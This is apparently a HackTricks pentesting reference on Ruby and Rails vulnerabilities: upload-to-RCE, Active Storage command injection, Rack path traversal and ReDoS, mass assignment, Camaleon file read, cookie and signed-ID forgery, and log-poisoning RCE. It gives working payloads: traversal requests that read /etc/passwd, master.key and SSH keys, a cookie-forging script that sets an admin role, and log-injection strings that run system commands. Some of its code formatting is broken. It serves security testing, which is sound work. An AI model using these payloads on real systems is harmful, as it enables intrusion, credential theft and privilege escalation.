// HackTricks · Network Services

Ruby Tricks

Ruby Tricks

File upload to RCE

As explained in this article, uploading a .rb file into sensitive directories such as config/initializers/ can lead to remote code execution (RCE) in Ruby on Rails applications.[14]

Tips:

  • Other boot/eager-load locations executed at application start are also risky when writable (config/initializers/ is the classic example). If an arbitrary file upload lands under config/ and is later evaluated or required, it may produce RCE at boot.
  • Look for dev/staging builds that copy user-controlled files into the container image where Rails will load them on boot.

Active Storage image transformation → command execution (CVE-2025-24293)

When an application uses Active Storage with image_processing + mini_magick, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.[1]

  • A vulnerable pattern looks like:

    <%= image_tag blob.variant(params[:t] => params[:v]) %>

    where params[:t] and/or params[:v] are attacker-controlled.

  • What to try during testing

    • Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
    • Fuzz params[:t] and params[:v] for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
    • If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
  • Remediation/detections

    • If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + image_processing + mini_magick and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.

Rack::Static LFI / path traversal (CVE-2025-27610)

If the target stack uses Rack middleware directly or via frameworks, versions of rack prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via Rack::Static when :root is unset/misconfigured. Encoded traversal in PATH_INFO can expose files under the process working directory or an unexpected root.[5]

  • Hunt for apps that mount Rack::Static in config.ru or middleware stacks. Try encoded traversals against static paths, for example:

    GET /assets/%2e%2e/%2e%2e/config/database.yml
    GET /favicon.ico/..%2f..%2f.env

    Adjust the prefix to match configured urls:. If the app responds with file contents, you likely have LFI to anything under the resolved :root.

  • Mitigation: upgrade Rack; ensure :root only points to a directory of public files and is explicitly set.

Rack Content-Type parsing ReDoS (CVE-2024-25126)

Rack versions before 3.0.9.1 and 2.2.8.1 spent quadratic time splitting crafted Content-Type headers. A header containing tens of thousands of leading spaces can occupy a Puma/Unicorn worker and cause denial of service or request-queue starvation.[10]

  • Quick PoC (will hang one worker):
    python - <<'PY'

import requests h = {‘Content-Type’: (’ ’ * 50_000) + ‘a,’} requests.post(‘http://target/’, data=‘x’, headers=h) PY

- The vulnerable parser can be reached through many Rack-based stacks, including Rails, Sinatra, Hanami, and Grape, subject to proxy/header-size limits in frontends such as nginx or HAProxy. Use a controlled environment or a single low-impact request during authorized testing.
- The fix makes parsing linear. Look for `rack` versions below `3.0.9.1` or `2.2.8.1`; do not assume a WAF blocks the syntactically valid header.

## REXML XML parser ReDoS (CVE-2024-49761)

The REXML gem < 3.3.9 (Ruby 3.1 and earlier) catastrophically backtracks when parsing hex numeric character references containing long digit runs (e.g., `&#1111111111111x41;`). Any XML processed by REXML or libraries that wrap it (SOAP/XML API clients, SAML, SVG uploads) can be abused for CPU exhaustion.<sup>[[15]](#references)</sup>

Minimal trigger against a Rails endpoint that parses XML:
```bash
curl -X POST http://target/xml -H 'Content-Type: application/xml' \
--data '<?xml version="1.0"?><r>&#11111111111111111111111111x41;</r>'

If the process stays busy for seconds and worker CPU spikes, it is likely vulnerable. Attack is low bandwidth and affects background jobs that ingest XML as well.

Apps using the cgi gem (default in many Rack stacks) can be frozen with a single malicious header:[11]

  • CGI::Cookie.parse was super-linear; huge cookie strings (thousands of delimiters) trigger O(N²) behavior.
  • CGI::Util#escapeElement regex allowed ReDoS on HTML escaping.

Both issues are fixed in cgi 0.3.5.1 / 0.3.7 / 0.4.2. For pentests, drop a massive Cookie: header or feed untrusted HTML to helper code and watch for worker lockup. Combine with keep-alive to amplify.

Basecamp google_sign_in open redirect chain (CVE-2025-57821)

The google_sign_in gem before 1.3.0 performed an incomplete same-origin check on its persisted post-authentication redirect URL. A malformed URL could pass that check and redirect the user to another origin, potentially exposing authentication information such as a token.[16]

Exploit flow:

  1. First obtain a separate primitive that can inject arbitrary data into the application’s cookie-backed session. The maintainer advisory states there is no known vector when session state is stored in a database.
  2. Inject the malformed redirect value into the session/flash state used by google_sign_in.
  3. After authentication, the gem follows the attacker-controlled cross-origin redirect. If authentication information is incorporated into that flow, it may be exposed and lead to account compromise.[16]

During testing, inspect Gemfile.lock for google_sign_in before 1.3.0 and determine how the application stores session/flash data. Confirm the chained behavior through the Location header; do not assume a directly supplied query parameter alone reaches the persisted redirect.

Rails nested mass assignment via permit! on a sub-object

A common Rails footgun is calling update() on a nested parameter object after permit!, for example:

def updated_ajax
  @user.update(params.require(:password).permit!)
end

If the route is supposed to only accept password[password] and password[password_confirmation], an attacker can often add privileged attributes under the same prefix:

POST /admin/users/5/updated_ajax HTTP/1.1
Content-Type: application/x-www-form-urlencoded

_method=patch&password[password]=NewPass123!&password[password_confirmation]=NewPass123!&password[role]=admin

Because permit! marks every nested key as permitted, update() applies all attacker-controlled fields (role, is_admin, status, user_group_id, owner_id, etc.). During testing:

  • Find self-service update endpoints that accept nested params such as user[...], profile[...], password[...], account[...].
  • Check whether the controller passes that entire object into update, update_attributes, or similar.
  • Replay the legitimate request and append privileged attributes under the same nested key.

This is still mass assignment, but in Rails apps it often hides in “safe-looking” strong-parameter code because the dangerous call is permit! on a nested object rather than direct params[:user] binding.[2][3]

Camaleon CMS admin panel → MinIO / S3 pivot

If Rails/CMS admin access exposes filesystem/storage settings, treat it as a credential-recovery surface.[2] In Camaleon deployments using S3-compatible storage, the admin UI may reveal:

  • endpoint URL
  • access key / secret key
  • region
  • bucket names

With those values, enumerate the object store directly:

aws configure --profile target
aws configure set endpoint_url http://target:54321 --profile target
AWS_PROFILE=target aws s3 ls
AWS_PROFILE=target aws s3 ls s3://internal/

S3-compatible backends such as MinIO are easy to fingerprint from XML error responses and x-amz-* / Server: MinIO headers. Once valid credentials are recovered, check buckets for dotfiles, SSH keys, app source, backups, and deployment secrets.

Camaleon private-media download path traversal on S3/AWS backends

Camaleon’s private-media download flow has had traversal issues where the controller prepends a fixed prefix and forwards attacker-controlled input to the uploader backend:[2][4]

file = cama_uploader.fetch_file("private/#{params[:file]}")
send_file file, disposition: 'inline'

If the configured uploader backend does not canonicalize and validate the resulting path, any authenticated user may read arbitrary files with traversal sequences:

curl -s 'http://target/admin/media/download_private_file?file=../../../etc/passwd' -b cookie.jar
curl -s 'http://target/admin/media/download_private_file?file=../../../config/master.key' -b cookie.jar
curl -s 'http://target/admin/media/download_private_file?file=../../../home/app/.ssh/id_ed25519' -b cookie.jar

Interesting Rails targets after confirming file read:

  • config/master.key
  • config/credentials.yml.enc
  • config/database.yml
  • config/storage.yml
  • service files / nginx configs that reveal the runtime user and working directory
  • SSH material readable by the Rails process user

For Camaleon specifically, this bug resurfaced on the AWS/S3 uploader as an incomplete fix bypass: the local uploader added path validation, but the S3 uploader did not. When reviewing similar fixes, always compare every storage backend instead of only the default/local implementation.

Forging/decrypting Rails cookies when secret_key_base is leaked

Rails encrypts and signs cookies using keys derived from secret_key_base. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.

If you only have an authenticated file-read primitive, try to recover config/master.key first and then decrypt config/credentials.yml.enc to extract secret_key_base. In many apps this is the shortest path from LFI/path traversal to cookie decryption and session forgery.[2]

Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails):

Ruby to decrypt/forge cookies
require 'cgi'
require 'json'
require 'active_support'
require 'active_support/message_encryptor'
require 'active_support/key_generator'

secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
raw_cookie = CGI.unescape(ARGV[0])

salt   = 'authenticated encrypted cookie'
cipher = 'aes-256-gcm'
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
secret  = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
enc     = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)

plain = enc.decrypt_and_verify(raw_cookie)
puts "Decrypted: #{plain.inspect}"

# Modify and re-encrypt (example: escalate role)
plain['role'] = 'admin' if plain.is_a?(Hash)
forged = enc.encrypt_and_sign(plain)
puts "Forged cookie: #{CGI.escape(forged)}"
Notes: - Older apps may use AES-256-CBC and salts `encrypted cookie` / `signed encrypted cookie`, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly. - On compromise/assessment, rotate `secret_key_base` to invalidate all existing cookies.

Forging Rails signed IDs / SGIDs when secret_key_base is leaked

Beyond cookies, Rails also uses ActiveSupport::MessageVerifier for attacker-relevant tokens such as record.signed_id, ActiveStorage::Blob#signed_id, and Signed Global IDs (to_sgid). If secret_key_base leaks, every endpoint that later calls find_signed, find_signed!, GlobalID::Locator.locate_signed, or ActiveStorage::Blob.find_signed! becomes interesting. Most real-world impact starts as an IDOR/authz bug (swapping the referenced object), and only becomes RCE if the located object is later passed into an unsafe sink.

What to hunt for:

  • Params or hidden fields named signed_id, sgid, attachable_sgid, blob_signed_id, signed_blob_id, record_gid, etc.
  • Direct-upload and Action Text/Trix flows where the browser submits blob references before the final form submission.
  • Source patterns such as:
    rg -n "find_signed!?\(|locate_signed\(|signed_id\(|to_sgid\(|purpose:|for:" app config lib
  • Exact verifier scopes/purposes like:
    User.find_signed(token, purpose: :password_reset)
    ActiveStorage::Blob.find_signed!(token, purpose: :blob_id)
    GlobalID::Locator.locate_signed(token, for: 'sharing')

Useful notes during exploitation:

  • ActiveRecord::SignedId does not expire by default. Signed Global IDs in Rails expire after 1 month by default unless the app overrides Rails.application.config.global_id.expires_in.[13]
  • The purpose / for: scope must match. A leaked secret_key_base is not enough if you guess the wrong verifier context.
  • MessageVerifier supports rotated old secrets/digests/serializers. If the app still accepts fallbacks via rotate(...), an older leaked secret may remain valid for minting tokens.
  • Common offensive targets are password-reset tokens, invitation flows, permanent attachment/blob references, and any hidden field that resolves a server-side object without re-checking authorization.

Quick Rails-console examples when you have app code or a foothold:

user.signed_id(purpose: :password_reset, expires_in: 15.minutes)
blob.signed_id(purpose: :blob_id)
doc.to_sgid(for: 'sharing', expires_in: 2.hours).to_s

See also (Ruby/Rails-specific vulns)

Log Injection → RCE via Ruby load and Pathname.cleanpath smuggling

When an app (often a simple Rack/Sinatra/Rails endpoint) both:

  • logs a user-controlled string verbatim, and
  • later loads a file whose path is derived from that same string (after Pathname#cleanpath),

You can often achieve remote code execution by poisoning the log and then coercing the app to load the log file. Key primitives:[6]

  • Ruby load evaluates the target file content as Ruby regardless of file extension. Any readable text file whose contents parse as Ruby will be executed.[9]
  • Pathname#cleanpath collapses . and .. segments without hitting the filesystem, enabling path smuggling: attacker-controlled junk can be prepended for logging while the cleaned path still resolves to the intended file to execute (e.g., ../logs/error.log).[7]

Real-world poison source: Rack::CommonLogger (CVE-2025-25184)

Before rack 2.2.11 / 3.0.12 / 3.1.10, Rack::CommonLogger could write attacker-controlled newlines from env['REMOTE_USER'] into the access log.[12] In practice this matters when the target uses Rack::Auth::Basic or otherwise copies a user-controlled identifier into REMOTE_USER, and usernames are allowed to contain CR/LF or other log-breaking bytes.

This is usually just log poisoning, but it becomes much more interesting when chained with the load-the-log pattern below, log processors that parse/execute content, or admin workflows that inspect logs in vulnerable terminals.

Quick checks:

  • Register or authenticate with a username containing \r\nFAKELOG and hit an endpoint that is known to be logged by Rack middleware.
  • Review access logs (or visible downstream effects) for split lines, forged entries, or parser crashes.
  • If you already found a later sink such as load ../logs/error.log, eval File.read(...), or a custom job that replays log content, CommonLogger gives you a realistic way to plant the payload.

Minimal vulnerable pattern

require 'logger'
require 'pathname'

logger   = Logger.new('logs/error.log')
param    = CGI.unescape(params[:script])
path_obj = Pathname.new(param)

logger.info("Running backup script #{param}")            # Raw log of user input
load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath

Why the log can contain valid Ruby

Logger writes prefix lines like:[8]

I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>

In Ruby, # starts a comment and 9/2/2025 is just arithmetic. To inject valid Ruby code you need to:

  • Begin your payload on a new line so it is not commented out by the # in the INFO line; send a leading newline (\n or %0A).
  • Close the dangling [ introduced by the INFO line. A common trick is to start with ] and optionally make the parser happy with ][0]=1.
  • Then place arbitrary Ruby (e.g., system(...)).

Example of what will end up in the log after one request with a crafted param:

I, [9/2/2025 #209384]  INFO -- : Running backup script
][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log

Smuggling a single string that both logs code and resolves to the log path

We want one attacker-controlled string that:

  • when logged raw, contains our Ruby payload, and
  • when passed through Pathname.new(<input>).cleanpath, resolves to ../logs/error.log so the subsequent load executes the just-poisoned log file.

Pathname#cleanpath ignores schemes and collapses traversal components, so the following works:

require 'pathname'

p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
puts p.cleanpath   # => ../logs/error.log
  • The # before :// ensures Ruby ignores the tail when the log is executed, while cleanpath still reduces the suffix to ../logs/error.log.
  • The leading newline breaks out of the INFO line; ] closes the dangling bracket; ][0]=1 satisfies the parser.

End-to-end exploitation

  1. Send the following as the backup script name (URL-encode the first newline as %0A if needed):
    \n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
  2. The app logs your raw string into logs/error.log.
  3. The app computes cleanpath which resolves to ../logs/error.log and calls load on it.
  4. Ruby executes the code you injected in the log.

To exfiltrate a file in a CTF-like environment:

\n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log

URL-encoded PoC (first char is a newline):

%0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log

References